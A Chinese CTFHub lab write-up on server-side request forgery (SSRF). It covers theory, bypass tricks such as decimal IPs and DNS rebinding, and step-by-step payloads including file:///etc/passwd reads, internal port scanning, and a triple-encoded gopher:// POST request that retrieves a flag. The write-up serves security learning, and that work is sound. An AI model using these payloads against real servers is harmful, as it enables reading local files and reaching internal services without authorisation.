CTFHUB技能树——SSRF(一)

目录

一、SSRF(服务器端请求伪造)

漏洞产生原理:

漏洞一般存在于

产生SSRF漏洞的函数(PHP):

发现SSRF漏洞时:

SSRF危害:

SSRF漏洞利用手段:

SSRF绕过方法:

二、CTFHUB技能树 SSRF

1.Http、file和Dict等协议的利用

内网访问 

伪协议读取文件

​编辑端口扫描

​编辑2.Gopher协议的利用

 POST请求


一、SSRF(服务器端请求伪造)

漏洞产生原理:

大多是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。

漏洞一般存在于

(1)分享链接
(2)转码服务
(3)在线翻译
(4)图片、文章收藏功能
(5)未公开的API实现以及其他调用URL的功能
(6)图片加载与下载
(7)从URL关键字中寻找(share、wap、url、link、src、source、target、u、display、sourceURl、imageURL、domain)

产生SSRF漏洞的函数(PHP):

(1)file_get_contents()
(2)sockopen()
(3)curl_exec()

发现SSRF漏洞时:

首先要测试所有可用的URL伪协议
file:// 从文件系统中获取文件内容,如,file:///etc/passwd
dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
sftp:// SSH文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务,可使用gopherus生成payload

SSRF危害:

SSRF漏洞利用手段:

(1)可以对外网、内网、本地进行端口扫描,某些情况下端口的Banner会回显出来(比如3306的);
(2)攻击运行在内网或本地的有漏洞程序(比如溢出);
(3)可以对内网Web应用进行指纹识别,原理是通过请求默认的文件得到特定的指纹;
(4)攻击内网或外网有漏洞的Web应用;
(5)使用file:///协议读取本地文件(或其他协议)

SSRF绕过方法:

(1)@          http://abc.com@127.0.0.1
(2)添加端口号      http://127.0.0.1:8080
(3)短地址        https://0x9.me/cuGfD
(4)可以指向任意ip的域名  xip.io
(5)ip地址转换成进制来访问 192.168.0.1=3232235521(十进制)
(6)非HTTP协议
(7)DNS Rebinding

理论转自:Web 常见十大漏洞原理及利用方式_web漏洞利用实操-CSDN博客

二、CTFHUB技能树 SSRF

1.Http、file和Dict等协议的利用

内网访问 

题目描述:尝试访问位于127.0.0.1的flag.php吧

从目标主机内网环境访问它本地的flag.php,构建url:

/?url=http://127.0.0.1/flag.php

伪协议读取文件

题目描述:尝试去读取一下Web目录下的flag.php吧

 无法直接访问

使用file:///协议 访问本地文件系统

构建payload:

file:/// [文件的绝对路径和文件名]

?url=file:///var/www/html/flag.php

端口扫描

题目描述:来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦,

知道端口号范围,使用bp爆破  将8000设为变量

变量类型number、范围8000~9000

 

 8218端口 ,respond得flag

2.Gopher协议的利用

学习参考:CTFHub技能树笔记之SSRF:POST请求、文件上传_ctfhub ssrf post-CSDN博客

gopher协议是ssrf利用中最强大的协议

gopher协议支持发出GET、POST请求:

可以先截获get请求包和post请求包,再构成符合gopher协议的请求。

默认端口为70,一般需发送到80端口

如果发起post请求,回车换行需要使用%0D%0A,如果多个参数,参数之间的&也需要进行URL编码。

gopher使用结构:

gopher://127.0.0.1:80/_{TCP/IP数据流}

_不能省

 POST请求

题目描述:这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.

使用dirsearch扫描一下

python dirsearch.py -u http://challenge-0981474f125e7046.sandbox.ctfhub.com:10800/?url=127.0.0.1/

状态码为200的只有flag.php

访问127.0.0.1/flag.php,出现一个输入框

查看源代码有一个key值

将key输入输入框

尝试file///协议分别读取index.php 和flag.php的页面源码

?url=file:///var/www/html/index.php
?url=file:///var/www/html/flag.php

POST传参了key

$_SERVER['SERVER_ADDR ' ]:当前运行脚本所在的服务器(非本地)的 IP 地址。  

所以在flag.php传入key值返回flag,index.php可以利用curl传url

故用gopher协议在index.php中构造post请求包往flag.php传key值,从而获得flag

构造 Gopher协议所需的 POST请求:

POST包必须包含的四个参数:Content-Type、Content-Length(key的长度)、host,、post

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=687e7be15804b88bc8014fa4008ccb3c

利用ssrf时常需要进行多次url编码,执行curl功能后会被解码一次,利用?url=gopher://形式进行ssrf请求又会被解码一次,如果有302跳转 也会被解码一次。

(可以说传参+跳转,请求多少次就要编码多少次)

所以对构造的请求包进行三次 URL编码:

第一次编码后,将%0A全部替换为%0D%0A

因为 Gopher协议包含的请求数据包中,可能包含有=&等特殊字符,避免与服务器解析传入的参数键值对混淆,所以对数据包进行 URL编码,这样服务端会把%后的字节当做普通字节。

第一次url编码:
POST%20/flag.php%20HTTP/1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Type%3A%20application/x-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3D687e7be15804b88bc8014fa4008ccb3c
替换:
POST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D687e7be15804b88bc8014fa4008ccb3c
第二次url编码:
POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D687e7be15804b88bc8014fa4008ccb3c
如果有302跳转,还需第三次编码:
POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D687e7be15804b88bc8014fa4008ccb3c

因为flag.php中的$_SERVER["REMOTE_ADDR"]无法绕过,于是在index.php中发送 POST请求

最终payload如下,使用bp传入POST请求得flag。

?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D687e7be15804b88bc8014fa4008ccb3c

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/656112.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

大数据技术Hbase列数据库——topic1

目录 搭建单机版Hbase验证方法一验证方法二 搭建单机版Hbase 验证方法一 使用 jps 命令查看 HMaster 进程是否启动 首先使用xftp 7上传hbase-2.1.0安装压缩包到虚拟机进行解压缩到某一地址,这里解压缩到了上传的路径即/root/software/ tar -zxvf hbase-2.1.0-bi…

AIGC 009-DaLLE2遇见达利!文生图过程中另外一种思路。

AIGC 009-DaLLE2遇见达利!文生图过程中另外一种思路。 0 论文工作 首先,遇见达利是我很喜欢的名字,达利是跟毕加索同等优秀的画家。这个名字就很有意思。 这篇论文提出了一种新颖的分层文本条件图像生成方法,该方法利用 CLIP&…

Llama模型家族之使用 Supervised Fine-Tuning(SFT)微调预训练Llama 3 语言模型(十) 使用 LoRA 微调常见问题答疑

LlaMA 3 系列博客 基于 LlaMA 3 LangGraph 在windows本地部署大模型 (一) 基于 LlaMA 3 LangGraph 在windows本地部署大模型 (二) 基于 LlaMA 3 LangGraph 在windows本地部署大模型 (三) 基于 LlaMA…

[SWPUCTF 2022 新生赛]奇妙的MD5... ...

目录 [SWPUCTF 2022 新生赛]奇妙的MD5 [GDOUCTF 2023]受不了一点 [LitCTF 2023]作业管理系统 注入点一:文件上传 注入点二:创建文件直接写一句话木马 注入点三:获取数据库备份文件 [LitCTF 2023]1zjs [SWPUCTF 2022 新生赛]奇妙的MD5 …

【高校科研前沿】湖北工业大学为第一署名单位在《Science》发表Letters文章:应对青藏高原河流泥沙激增

文章简介 论文名称:Combating sediment surge in Tibetan rivers(应对青藏高原河流泥沙激增) 相关作者及单位:杨洪教授(英国雷丁大学)&刘德富教授(湖北工业大学)&Julian R…

代码随想录算法训练营第十四天(py)| 二叉树 | 递归遍历、迭代遍历、统一迭代

1 理论基础 1.1 二叉树的种类 满二叉树 只有度为0和2的节点,且度为0的节点在同一层。 深度为k,有2^k-1个节点 完全二叉树 除了最底层可能没填满,其余每层节点数都达到最大。并且最底层节点全部集中在左边。 二叉搜索树 是一个有数值…

【JVM精通之路】垃圾回收-三色标记算法

首先预期你已经基本了解垃圾回收的相关知识,包括新生代垃圾回收器,老年代垃圾回收器,以及他们的算法,可达性分析等等。 先想象一个场景 最开始黑色节点是GC-Roots的根节点,这些对象有这样的特点因此被选为垃圾回收的根…

Window VScode配置Conda教程(成功版)

VScode配置Conda 参考博文:https://blog.csdn.net/qq_51831335/article/details/126757014Anaconda安装(注意勾选自动配置环境变量!) 官网:https://www.anaconda.com/download/success VScode配置 python插件安装安装 …

Gin与OpenAPI(Swagger)的使用

一、背景 1、swagger与openapi Swagger: 一种用于描述RESTFUL API的规范,它提供了一种简单的来描述API的请求和相应参数、错误码、返回数据类型等信息,是开发者可以方便了解API使用方式。 官网: https://swagger.io/ OpenAPI : 始于 …

京东二面:Sychronized的锁升级过程是怎样的

引言 Java作为主流的面向对象编程语言,提供了丰富的并发工具来帮助开发者解决多线程环境下的数据一致性问题。其中,内置的关键字"Synchronized"扮演了至关重要的角色,它能够确保在同一时刻只有一个线程访问特定代码块或方法&#…

Redis常用命令——Hash篇

前面我们讲述了String的相关操作命令。本篇文章主要讲解Redis中数据结构Hash的相关操作命令。希望会对你有所帮助。 目录 一、Hash哈希 二、命令 HSET HGET HEXISTS HDEL HKEYS HVALS HGETALL HMGET HLEN HSETNX HINCRBY 和 HINCRBYFLOAT 三、小结 🙋‍♂️ 作者&a…

SpringBoot整合RabbitMQ的快速使用教程

目录 一、引入依赖 二、配置rabbitmq的连接信息等 1、生产者配置 2、消费者配置 三、设置消息转换器 四、生产者代码示例 1、配置交换机和队列信息 2、生产消息代码 五、消费者代码示例 1、消费层代码 2、业务层代码 在分布式系统中,消息队列是一种重要…

【老王最佳实践-6】Spring 如何给静态变量注入值

有些时候,我们可能需要给静态变量注入 spring bean,尝试过使用 Autowired 给静态变量做注入的同学应该都能发现注入是失败的。 Autowired 给静态变量注入bean 失败的原因 spring 底层已经限制了,不能给静态属性注入值: 如果我…

【AI算法岗面试八股面经【超全整理】——机器学习】

AI算法岗面试八股面经【超全整理】 概率论信息论机器学习深度学习CVNLP 目录 1、回归损失函数2、分类损失函数3、误差(Error)、偏差(Bias)、方差(Variance)4、PCA(Principle Component Analysi…

数据库语法树优化

目录 一、σ、π、⋈ 1.选择σ 2.投影π 3.连接⋈ 二、 构建语法树 ① 解读sql语句 ② 写出关系代数表达式 ③ 画出语法树 三、优化语法树 四、练习 语法树优化方法 一、σ、π、⋈ 1.选择σ 选择就是在关系R中选择满足给定条件的诸元组。 通过条件SdeptIS选择出系别…

5,串口编程---实现简单的用串口发送接收数据

单片机通过串口向PC机发送数据 PC机通过串口接收单片机发过来的数据 1.UART和USART的区别: USART支持同步通信方式,可以通过外部时钟信号进行同步传输,而UART仅支持异步通信方式 本开发板STM32F103ZET6有5个串口,用串口1作调试串口,因为串…

【算法实战】每日一题:设计一个算法,用最少数量的矩形覆盖一系列宽度为d、高度为w的矩形,且使用矩形不能超出边界

题目 设计一个算法,用最少数量的矩形覆盖一系列宽度为d、高度为w的矩形建筑物侧墙,且矩形不能超出边界。 核心思路 考虑这种结构 前面递增后面一个与前面的某个高度一致,这时候考虑最下面的覆盖(即都是从最下面向上覆盖&#…

进程互斥经典问题(读写者问题、理发店问题)

目录 读写者问题 问题描述 问题分析 进程互斥问题三部曲 读者写者算法实现 一、找进程——确定进程关系 二、找主营业务 三、找同步约束 a.互斥 b.资源 c.配额 理发店问题 问题描述 问题分析 进程互斥问题三部曲 理发店问题算法实现 一、找进程——确定进程…

特朗普竞选带火PoliFi,以Bitget为例

以特朗普系列Meme币为代表的政治金融(PoliFi)概念币市场正在掀起热潮,前美国总统特朗普(Donald Trump)在本月稍早公开力挺加密货币,接着又在周二宣布接受比特币、以太币、SOL、USDC、DOGE…等政治献金,让相关通证高涨。 据CoinGecko数据&…

鲜花门店小程序开发流程:详细教程,让你轻松掌握

想要开发一款专属于自己鲜花门店的小程序吗?不知道从何开始?别担心,本文将为你提供详细的开发流程,帮助你轻松掌握。 1. 注册登录乔拓云网并进入操作后台 首先,你需要注册并登录乔拓云网,然后进入操作后台…